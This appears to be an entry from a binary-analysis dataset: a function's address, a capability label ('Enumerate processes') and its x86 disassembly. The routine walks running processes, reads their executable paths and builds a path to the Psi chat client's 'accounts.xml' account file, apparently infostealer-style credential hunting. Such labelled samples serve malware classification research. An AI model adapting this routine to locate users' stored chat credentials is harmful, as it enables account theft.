Function at 0x1009a1d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x494
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x490], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
lea eax, [ebp - 0x490]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x1009a592
lea eax, [ebp - 0x490]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x1009a592
nop word [eax + eax]
mov esi, dword [ebp - 0x488]
lea eax, [ebp - 0x244]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x1009a571
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x1009a368
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x1009a368
xor eax, eax
mov dword [ebp - 0x218], 0
mov word [ebp - 0x228], ax
lea eax, [ebp - 0x210]
mov dword [ebp - 0x214], 7
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1009a2a7
sub eax, edx
lea ecx, [ebp - 0x228]
sar eax, 1
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.100aeed0
cmp dword [ebp - 0x214], 8
lea ecx, [ebp - 0x228]
mov eax, dword [ebp - 0x218]
cmovae ecx, dword [ebp - 0x228]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x228]
cmovae ecx, dword [ebp - 0x228]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x25c]
call fcn.100afb10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [ebp - 0x25c]
mov edx, dword [ebp - 0x214]
movups xmmword [ebp - 0x240], xmm0
movq xmm0, qword [ebp - 0x24c]
movq qword [ebp - 0x230], xmm0
cmp edx, 8
jb 0x1009a395
mov ecx, dword [ebp - 0x228]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1009a35c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009a5da
push edx
push ecx
call fcn.100baf94
add esp, 8
jmp 0x1009a395
push 0
push 0x100ede68
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
call fcn.100af160
cmp dword [ebp - 0x230], 0
je 0x1009a3f5
lea edx, [ebp - 0x240]
lea ecx, [ebp - 0x25c]
call fcn.10096360
push eax
lea ecx, [ebp - 0x240]
call fcn.100ae910
mov edx, dword [ebp - 0x248]
cmp edx, 0x10
jb 0x1009a3f5
mov ecx, dword [ebp - 0x25c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009a3eb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009a5da
push edx
push ecx
call fcn.100baf94
add esp, 8
mov eax, dword [ebp - 0x230]
lea ecx, [ebp - 0x228]
inc eax
mov dword [ebp - 0x218], 0
push eax
mov dword [ebp - 0x214], 0xf
mov byte [ebp - 0x228], 0
call fcn.100b1a80
cmp dword [ebp - 0x22c], 0x10
lea ecx, [ebp - 0x240]
mov esi, dword [ebp - 0x214]
mov eax, esi
cmovae ecx, dword [ebp - 0x240]
mov edi, dword [ebp - 0x230]
mov edx, dword [ebp - 0x218]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x1009a47e
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x228]
cmovae eax, dword [ebp - 0x228]
lea esi, [eax + edx]
push esi
call fcn.100be470
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x1009a497
mov byte [ebp - 0x494], 0
lea ecx, [ebp - 0x228]
push dword [ebp - 0x494]
push edi
call fcn.100b0560
push 0x100f72fc
lea ecx, [ebp - 0x228]
call fcn.100ae850
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.100ae9d0
sub esp, 0x18
lea ecx, [ebp - 0x228]
mov esi, esp
push str.Psiprofilesdefault_accounts.xml
call fcn.100ae850
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.10098d80
mov edx, dword [ebp - 0x214]
add esp, 0x30
cmp edx, 0x10
jb 0x1009a53b
mov ecx, dword [ebp - 0x228]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009a531
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009a5da
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x22c]
cmp edx, 0x10
jb 0x1009a571
mov ecx, dword [ebp - 0x240]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009a567
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009a5da
push edx
push ecx
call fcn.100baf94
add esp, 8
lea eax, [ebp - 0x490]
mov dword [ebp - 0x244], 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x1009a230
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1009a5c9
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009a5bf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009a5da
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100baa39
mov esp, ebp
pop ebp
ret
call fcn.100c79a0
int3